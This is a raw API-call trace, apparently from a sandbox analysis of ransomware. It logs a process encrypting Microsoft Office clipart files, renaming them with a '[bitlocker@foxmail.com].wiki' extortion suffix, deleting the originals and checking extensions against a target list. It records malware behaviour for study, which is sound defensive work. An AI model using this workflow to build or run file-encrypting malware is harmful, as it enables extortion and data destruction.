1 [0188.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.008] GetLastError () returned 0x0 [0188.008] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x8f8, lpOverlapped=0x0) returned 1 [0188.016] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x900, lpOverlapped=0x0) returned 1 [0188.017] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.017] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.017] SetEndOfFile (hFile=0x20c) returned 1 [0188.018] CloseHandle (hObject=0x20c) returned 1 [0188.018] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.018] SetEndOfFile (hFile=0x1d8) returned 1 [0188.018] CloseHandle (hObject=0x1d8) returned 1 [0188.019] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.019] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01183_.wmf")) returned 1 [0188.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.019] lstrlenW (lpString=".doc") returned 4 [0188.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.019] lstrlenW (lpString=".docx") returned 5 [0188.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.019] lstrlenW (lpString=".pdf") returned 4 [0188.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.019] lstrlenW (lpString=".xls") returned 4 [0188.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.019] lstrlenW (lpString=".xlsx") returned 5 [0188.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.019] lstrlenW (lpString=".ppt") returned 4 [0188.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.019] lstrlenW (lpString=".zip") returned 4 [0188.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.019] lstrlenW (lpString=".rar") returned 4 [0188.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.019] lstrlenW (lpString=".bz2") returned 4 [0188.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.019] lstrlenW (lpString=".7z") returned 3 [0188.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.020] lstrlenW (lpString=".dbf") returned 4 [0188.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.020] lstrlenW (lpString=".1cd") returned 4 [0188.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.020] lstrlenW (lpString=".jpg") returned 4 [0188.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.020] lstrlenW (lpString=".doc") returned 4 [0188.020] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.020] lstrlenW (lpString=".docx") returned 5 [0188.020] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.020] lstrlenW (lpString=".pdf") returned 4 [0188.020] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.020] lstrlenW (lpString=".xls") returned 4 [0188.020] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.020] lstrlenW (lpString=".xlsx") returned 5 [0188.020] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.020] lstrlenW (lpString=".ppt") returned 4 [0188.020] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.020] lstrlenW (lpString=".zip") returned 4 [0188.020] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.020] lstrlenW (lpString=".rar") returned 4 [0188.020] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.020] lstrlenW (lpString=".bz2") returned 4 [0188.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.020] lstrlenW (lpString=".7z") returned 3 [0188.021] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.021] lstrlenW (lpString=".dbf") returned 4 [0188.021] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.021] lstrlenW (lpString=".1cd") returned 4 [0188.021] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01183_.WMF") returned 63 [0188.021] lstrlenW (lpString=".jpg") returned 4 [0188.021] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.021] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.021] lstrlenW (lpString="DD01366_.WMF") returned 12 [0188.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.021] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=1768) returned 1 [0188.021] CloseHandle (hObject=0x1d8) returned 1 [0188.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 0x20 [0188.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.022] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.022] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0188.022] GetLastError () returned 0x0 [0188.022] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x6e8, lpOverlapped=0x0) returned 1 [0188.205] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x6f0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x6f0, lpOverlapped=0x0) returned 1 [0188.206] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.206] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.206] SetEndOfFile (hFile=0x20c) returned 1 [0188.206] CloseHandle (hObject=0x20c) returned 1 [0188.206] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.206] SetEndOfFile (hFile=0x1d8) returned 1 [0188.207] CloseHandle (hObject=0x1d8) returned 1 [0188.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01366_.wmf")) returned 1 [0188.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.207] lstrlenW (lpString=".doc") returned 4 [0188.207] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.207] lstrlenW (lpString=".docx") returned 5 [0188.207] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.207] lstrlenW (lpString=".pdf") returned 4 [0188.207] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.207] lstrlenW (lpString=".xls") returned 4 [0188.207] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.207] lstrlenW (lpString=".xlsx") returned 5 [0188.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.208] lstrlenW (lpString=".ppt") returned 4 [0188.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.208] lstrlenW (lpString=".zip") returned 4 [0188.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.208] lstrlenW (lpString=".rar") returned 4 [0188.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.208] lstrlenW (lpString=".bz2") returned 4 [0188.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.208] lstrlenW (lpString=".7z") returned 3 [0188.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.208] lstrlenW (lpString=".dbf") returned 4 [0188.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.208] lstrlenW (lpString=".1cd") returned 4 [0188.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.208] lstrlenW (lpString=".jpg") returned 4 [0188.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.208] lstrlenW (lpString=".doc") returned 4 [0188.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.208] lstrlenW (lpString=".docx") returned 5 [0188.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.208] lstrlenW (lpString=".pdf") returned 4 [0188.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.208] lstrlenW (lpString=".xls") returned 4 [0188.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.208] lstrlenW (lpString=".xlsx") returned 5 [0188.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.209] lstrlenW (lpString=".ppt") returned 4 [0188.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.209] lstrlenW (lpString=".zip") returned 4 [0188.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.209] lstrlenW (lpString=".rar") returned 4 [0188.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.209] lstrlenW (lpString=".bz2") returned 4 [0188.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.209] lstrlenW (lpString=".7z") returned 3 [0188.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.209] lstrlenW (lpString=".dbf") returned 4 [0188.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.209] lstrlenW (lpString=".1cd") returned 4 [0188.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01366_.WMF") returned 63 [0188.209] lstrlenW (lpString=".jpg") returned 4 [0188.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.209] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.209] lstrlenW (lpString="ED00019_.WMF") returned 12 [0188.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.210] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=13042) returned 1 [0188.210] CloseHandle (hObject=0x1d8) returned 1 [0188.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 0x20 [0188.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.210] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.210] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.212] GetLastError () returned 0x0 [0188.212] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x32f2, lpOverlapped=0x0) returned 1 [0188.214] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x3300, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x3300, lpOverlapped=0x0) returned 1 [0188.215] ReadFile (in: hFile=0x1d8, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0188.215] WriteFile (in: hFile=0x1d0, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0188.215] SetEndOfFile (hFile=0x1d0) returned 1 [0188.215] CloseHandle (hObject=0x1d0) returned 1 [0188.215] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.215] SetEndOfFile (hFile=0x1d8) returned 1 [0188.216] CloseHandle (hObject=0x1d8) returned 1 [0188.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0188.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00019_.wmf")) returned 1 [0188.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.217] lstrlenW (lpString=".doc") returned 4 [0188.217] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.217] lstrlenW (lpString=".docx") returned 5 [0188.217] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.217] lstrlenW (lpString=".pdf") returned 4 [0188.217] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.217] lstrlenW (lpString=".xls") returned 4 [0188.217] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.217] lstrlenW (lpString=".xlsx") returned 5 [0188.217] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.217] lstrlenW (lpString=".ppt") returned 4 [0188.217] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.217] lstrlenW (lpString=".zip") returned 4 [0188.217] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.217] lstrlenW (lpString=".rar") returned 4 [0188.217] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.217] lstrlenW (lpString=".bz2") returned 4 [0188.217] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.217] lstrlenW (lpString=".7z") returned 3 [0188.217] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.217] lstrlenW (lpString=".dbf") returned 4 [0188.217] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.218] lstrlenW (lpString=".1cd") returned 4 [0188.218] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.218] lstrlenW (lpString=".jpg") returned 4 [0188.218] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.218] lstrlenW (lpString=".doc") returned 4 [0188.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0188.218] lstrlenW (lpString=".docx") returned 5 [0188.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0188.218] lstrlenW (lpString=".pdf") returned 4 [0188.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0188.218] lstrlenW (lpString=".xls") returned 4 [0188.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0188.218] lstrlenW (lpString=".xlsx") returned 5 [0188.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0188.218] lstrlenW (lpString=".ppt") returned 4 [0188.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0188.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.218] lstrlenW (lpString=".zip") returned 4 [0188.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0188.218] lstrlenW (lpString=".rar") returned 4 [0188.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0188.218] lstrlenW (lpString=".bz2") returned 4 [0188.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0188.218] lstrlenW (lpString=".7z") returned 3 [0188.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0188.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.218] lstrlenW (lpString=".dbf") returned 4 [0188.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0188.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.219] lstrlenW (lpString=".1cd") returned 4 [0188.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0188.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00019_.WMF") returned 63 [0188.219] lstrlenW (lpString=".jpg") returned 4 [0188.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0188.219] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0188.219] lstrlenW (lpString="ED00172_.WMF") returned 12 [0188.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.219] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=2700) returned 1 [0188.219] CloseHandle (hObject=0x1d8) returned 1 [0188.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0188.219] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0188.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0188.220] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.220] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0188.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0188.220] GetLastError () returned 0x0 [0188.220] ReadFile (in: hFile=0x1d8, 